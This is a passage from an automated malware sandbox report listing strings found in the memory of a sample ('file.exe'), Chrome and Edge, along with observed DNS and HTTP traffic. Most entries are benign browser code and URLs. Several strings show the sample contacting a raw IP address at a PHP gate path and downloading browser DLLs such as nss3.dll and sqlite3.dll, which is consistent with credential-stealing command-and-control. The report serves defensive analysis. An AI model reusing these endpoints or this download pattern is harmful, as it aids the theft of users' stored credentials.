rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000003.00000003.2266976526.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2267376931.0000716C031D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2267410075.0000716C03198000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2426214841.0000716C0286C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251592259.0000716C028FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2367350850.0000716C024C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 905sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: file.exe, file.exe, 00000000.00000002.2666421532.00000000018CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2664752549.0000000000B4C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2664752549.0000000000C06000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2666421532.0000000001928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2666421532.0000000001928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2666421532.0000000001928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php3
Source: file.exe, 00000000.00000002.2666421532.0000000001947000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php5
Source: file.exe, 00000000.00000002.2666421532.0000000001928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpG
Source: file.exe, 00000000.00000002.2666421532.0000000001928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpK
Source: file.exe, 00000000.00000002.2666421532.0000000001928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpb
Source: file.exe, 00000000.00000002.2666421532.0000000001947000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpfa
Source: file.exe, 00000000.00000002.2664752549.0000000000B4C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpion:
Source: file.exe, 00000000.00000002.2666421532.0000000001928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpk
Source: file.exe, 00000000.00000002.2666421532.0000000001928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phptream
Source: file.exe, 00000000.00000002.2666421532.0000000001928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpw
Source: file.exe, 00000000.00000002.2666421532.0000000001928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll
Source: file.exe, 00000000.00000002.2666421532.0000000001928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dllD
Source: file.exe, 00000000.00000002.2666421532.0000000001928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll
Source: file.exe, 00000000.00000002.2666421532.0000000001928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dllr
Source: file.exe, 00000000.00000002.2666421532.0000000001928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll
Source: file.exe, 00000000.00000002.2666421532.0000000001928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll%
Source: file.exe, 00000000.00000002.2666421532.0000000001928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll
Source: file.exe, 00000000.00000002.2666421532.0000000001928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dllll
Source: file.exe, 00000000.00000002.2666421532.0000000001928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll
Source: file.exe, 00000000.00000002.2666421532.0000000001928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dllx
Source: file.exe, 00000000.00000002.2666421532.0000000001928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll
Source: file.exe, 00000000.00000002.2694857353.0000000023CEA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2666421532.0000000001947000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll
Source: file.exe, 00000000.00000002.2666421532.0000000001947000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dllal
Source: file.exe, 00000000.00000002.2694857353.0000000023CEA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2666421532.0000000001947000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dllo
Source: file.exe, 00000000.00000002.2666421532.0000000001947000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dllx
Source: file.exe, 00000000.00000002.2666421532.0000000001928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/F
Source: file.exe, 00000000.00000002.2664752549.0000000000B4C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206HIJ
Source: file.exe, 00000000.00000002.2666421532.00000000018CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206w
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2387777739.00000E200031C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061Z
Source: chrome.exe, 00000003.00000003.2262114353.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262616475.0000716C0255C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2441827201.0000716C02EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2262672459.0000716C02DC4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2372307537.00000E200038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
